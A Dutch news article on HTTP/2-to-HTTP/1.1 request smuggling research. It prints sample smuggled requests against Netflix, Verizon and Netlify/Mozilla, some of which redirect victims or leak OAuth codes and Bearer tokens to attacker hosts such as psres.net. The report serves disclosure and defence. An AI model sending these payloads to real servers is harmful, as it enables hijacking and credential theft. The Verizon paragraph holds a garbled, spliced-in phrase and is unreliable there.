Websystemen waarbij de frontend verbindingen via HTTP/2 accepteert en deze aan de backend doorgeeft via HTTP/1.1, zijn kwetsbaar voor een nieuwe variant van de aanval 'HTTP Request Smuggling'. Deze aanval maakt gebruik van speciaal opgestelde clientverzoeken om zich te mengen met de inhoud van de verzoeken van andere gebruikers die in dezelfde stroom tussen de frontend en backend worden verwerkt. De aanval kan worden gebruikt om kwaadaardige JavaScript-code in een sessie met een legitieme site in te voegen, toegangsbeperkingssystemen te omzeilen en authenticatieparameters te onderscheppen.
De kwetsbaarheid betreft webproxies, load balancers, web-accelerators, content delivery systemen en andere configuraties waarbij verzoeken worden doorgestuurd volgens het frontend-backend schema. De auteur van het onderzoek demonstreerde de mogelijkheid van een aanval op de systemen van Netflix, Verizon, Bitbucket, Netlify CDN en Atlassian en ontving 56 duizend dollar in programma's voor beloningen voor het ontdekken van kwetsbaarheden. Het bestaan van het probleem is ook bevestigd in de producten van F5 Networks. De kwetsbaarheid raakt gedeeltelijk mod_proxy in de Apache http-server (CVE-2021-33193), met een fix die wordt verwacht in versie 2.4.49 (de ontwikkelaars zijn begin mei over het probleem geĆÆnformeerd en kregen 3 maanden om het op te lossen). In nginx is de mogelijkheid om gelijktijdig de headers 'Content-Length' en 'Transfer-Encoding' op te geven al geblokkeerd in de vorige release (1.21.1). Tools voor het uitvoeren van aanvallen zijn al toegevoegd aan de Burp toolkit en zijn beschikbaar in de vorm van de Turbo Intruder extensie.
Het principe van de nieuwe methode om verzoeken in verkeer in te voegen is vergelijkbaar met de kwetsbaarheid die door dezelfde onderzoeker twee jaar geleden werd ontdekt, maar beperkt tot frontends die verzoeken via HTTP/1.1 accepteren. Ter herinnering: in het frontend-backend schema accepteert een extra node ā de frontend ā clientverzoeken, die een langdurige TCP-verbinding met de backend opzet, die de verzoeken onmiddellijk verwerkt. Via deze gezamenlijke verbinding worden over het algemeen verzoeken van verschillende gebruikers doorgestuurd, die elkaar opvolgen in een keten, gescheiden door de middelen van het HTTP-protocol.
De klassieke aanval 'HTTP Request Smuggling' was gebaseerd op het feit dat frontends en backends op verschillende manieren de HTTP-header 'Content-Length' (bepaalt de totale gegevensgrootte in het verzoek) en 'Transfer-Encoding: chunked' (maakt het mogelijk om gegevens in delen te verzenden) interpreteren. Bijvoorbeeld, als de frontend alleen 'Content-Length' ondersteunt maar 'Transfer-Encoding: chunked' negeert, dan kan een aanvaller een verzoek verzenden waarin zowel de headers 'Content-Length' als 'Transfer-Encoding: chunked' zijn opgegeven, maar de grootte in 'Content-Length' niet overeenkomt met de grootte van de chunked-keten. In dit geval verwerkt de frontend het verzoek op basis van 'Content-Length' en verwacht de backend dat het blok wordt beƫindigd op basis van 'Transfer-Encoding: chunked', waardoor de resterende staart van het aanvallersverzoek aan het begin van een ander verzoek terechtkomt dat volgt.
In tegenstelling tot het tekstuele protocol HTTP/1.1, waarvan de parsing op het niveau van regels plaatsvindt, is HTTP/2 een binair protocol dat werkt met blokken van vooraf bepaalde grootte. In HTTP/2 worden pseudo-headers gebruikt die overeenkomen met de gewone HTTP-headers. Bij interactie met de backend via het protocol HTTP/1.1 vertaalt de frontend deze pseudo-headers naar de overeenkomstige HTTP-headers van HTTP/1.1. Het probleem is dat de backend al besluit over de parsing van de stroom op basis van de HTTP-headers die door de frontend zijn ingesteld, zonder informatie over de parameters van het oorspronkelijke verzoek.
Inclusief in de vorm van pseudo-headers kunnen waarden voor 'content-length' en 'transfer-encoding' worden doorgegeven, ondanks het feit dat ze in HTTP/2 niet worden gebruikt, omdat de grootte van alle gegevens wordt bepaald in een apart veld. Desalniettemin worden tijdens het omzetten van een HTTP/2 verzoek naar HTTP/1.1 deze headers overgedragen en kunnen ze de backend misleiden. Er zijn twee hoofdvarianten van de aanval: H2.TE en H2.CL, waarbij de backend wordt misleid door een onjuist waarde van transfer-encoding of content-length die niet overeenkomt met de werkelijke grootte van de body van het verzoek dat bij de frontend is aangekomen via het HTTP/2-protocol.
Als voorbeeld van een H2.CL-aanval wordt een onjuiste grootte in de pseudo-header content-length aangeduid bij het verzenden van een HTTP/2-verzoek naar Netflix. Dit verzoek leidt tot het toevoegen van een soortgelijke HTTP-header Content-Length bij het aanspreken van de backend via HTTP/1.1, maar omdat de grootte in Content-Length lager is aangegeven dan feitelijk, worden delen van de data aan het einde als het begin van een volgend verzoek behandeld.
Bijvoorbeeld, het HTTP/2-verzoek: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Leidt tot het versturen van een verzoek naar de backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Aangezien Content-Length de waarde 4 heeft, zal de backend slechts "abcd" als het lichaam van het verzoek beschouwen, en de rest "GET /n HTTP/1.1..." behandelen als het begin van een volgend verzoek dat aan een andere gebruiker is gekoppeld. Dit resulteert in een desynchronisatie van de stroom en als antwoord op het volgende verzoek zal het resultaat van de verwerking van het gemanipuleerde verzoek worden teruggegeven. In het geval van Netflix leidde het opgeven van een externe host in de header "Host:" in het gemanipuleerde verzoek tot het teruggeven van een antwoord aan de cliƫnt "Location: https://02.rs?x.netflix.com/n" en stelde het de cliƫnt in staat willekeurige inhoud te verzenden, waaronder de uitvoering van zijn JavaScript-code in de context van de Netflix-website.
De tweede aanval (H2.TE) heeft betrekking op de vervangingen van de header "Transfer-Encoding: chunked". Het gebruik van de pseudo-header transfer-encoding in HTTP/2 is verboden volgens de specificatie en verzoeken met deze header dienen als ongeldig te worden beschouwd. Desondanks negeren sommige frontend-implementaties deze eis en staan ze het gebruik van de pseudo-header transfer-encoding in HTTP/2 toe, die wordt omgezet in een soortgelijke HTTP-header. Bij aanwezigheid van de header "Transfer-Encoding" kan de backend deze als belangrijker beschouwen en de gegevens in blokken parseren in "chunked"-modus met blokken van verschillende groottes in het formaat "{grootte}\r\n{blok}\r\n{grootte}\r\n{blok}\r\n0", ondanks de oorspronkelijke indeling op basis van de totale grootte.
Een dergelijke kwetsbaarheid werd gedemonstreerd aan de hand van het voorbeeld van Verizon. Het probleem had betrekking op het authenticatieportaal en en biedt u meer tools voor het creƫren van aangepaste websites en rijke webapplicaties., dat ook wordt gebruikt op websites zoals Huffington Post en Engadget. Bijvoorbeeld, het verzoek van de cliƫnt via HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Voerde tot de overdracht van een HTTP/1.1-verzoek naar de backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
De backend negeerde op zijn beurt de header "Content-Length" en voerde splitsing in de stroom uit op basis van "Transfer-Encoding: chunked". In de praktijk stelde de aanval in staat om gebruikersverzoeken naar zijn eigen site om te leiden en ook verzoeken die verband hielden met OAuth-authenticatie te onderscheppen, waarvan de parameters in de Referer-header zichtbaar waren, evenals het simuleren van een authenticatiesessie en het initiĆ«ren van het verzenden van de gebruikersreferenties naar de aanvallershost. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?ā¦&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ikā¦
Voor een aanval op implementaties van HTTP/2, die geen pseudo-header transfer-encoding toelaten, werd een andere methode voorgesteld die verband houdt met het inbrengen van de header "Transfer-Encoding" door deze aan andere pseudo-headers te hechten, gescheiden door een regeleinde (bij conversie naar HTTP/1.1 worden in dit geval twee afzonderlijke HTTP-headers aangemaakt).
Bijvoorbeeld qua genoemde problemen waren Atlassian Jira en Netlify CDN (gebruikt voor het serveren van de startpagina van Mozilla in Firefox) kwetsbaar. In het bijzonder, het verzoek HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
leidde tot de verzending van een HTTP/1.1-verzoek naar de backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Een andere variant van het inbrengen van de header "Transfer-Encoding" was het aanhechten ervan aan de naam van een andere pseudo-header of aan de regel met de verzoekmethode. Bijvoorbeeld, bij het benaderen van Atlassian Jira resulteerde de naam van de pseudo-header "foo: bar\r\ntransfer-encoding" met de waarde "chunked" in de toevoeging van de HTTP-headers "foo: bar" en "transfer-encoding: chunked", terwijl het in de pseudo-header "method" een waarde "GET / HTTP/1.1\r\nTransfer-encoding: chunked" werd omgezet in "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
De onderzoeker die het probleem ontdekte, stelde ook een techniek voor tunneling van verzoeken voor om een aanval uit te voeren op front-ends waarin voor elke IP-adressen er wordt een aparte verbinding met de backend tot stand gebracht en het verkeer van verschillende gebruikers wordt niet gemengd. De voorgestelde techniek staat niet toe dat aanvragen van andere gebruikers worden geĆÆnfiltreerd, maar biedt de mogelijkheid om de algemene cache te vervuilen, wat invloed heeft op de verwerking van andere aanvragen, en stelt de uitvoering van het vervangingsmechanisme van interne HTTP-headers in staat, die worden gebruikt voor het verzenden van service-informatie van de frontend naar de backend (bijvoorbeeld, bij authenticatie aan de frontend kunnen in deze headers informatie over de huidige gebruiker aan de backend worden doorgegeven). Als voorbeeld van de toepassing van de methode in de praktijk werd controle over pagina's in de dienst Bitbucket verkregen door middel van cache-vuiling.
Bron: opennet.ru
